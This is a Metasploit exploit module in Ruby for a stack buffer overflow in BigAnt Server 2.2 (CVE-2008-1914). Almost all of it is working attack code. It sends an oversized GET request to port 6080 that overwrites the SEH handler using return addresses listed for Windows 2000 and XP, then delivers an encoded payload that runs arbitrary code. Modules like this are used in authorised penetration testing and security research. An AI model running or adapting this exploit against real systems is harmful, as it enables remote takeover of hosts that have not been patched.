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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'BigAnt Server 2.2 Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in BigAnt Server 2.2.
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        By sending a specially crafted packet, an attacker may be
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        able to execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-1914' ],
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          [ 'OSVDB', '44454' ],
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          [ 'BID', '28795' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'AllowWin32SEH' => true
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        },
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      'Payload'        =>
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        {
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          'Space'    => 750,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
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          'DisableNops'  =>  'True',
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 Pro All English',   { 'Ret' => 0x75022ac4 } ],
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          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2008-04-15'))
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    register_options([Opt::RPORT(6080)])
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  end
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  def exploit
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    connect
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    sploit =  "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
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    sploit << rand_text_alpha_upper(1024 - payload.encoded.length)
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit + "\n\n")
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    handler
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    disconnect
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  end
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end
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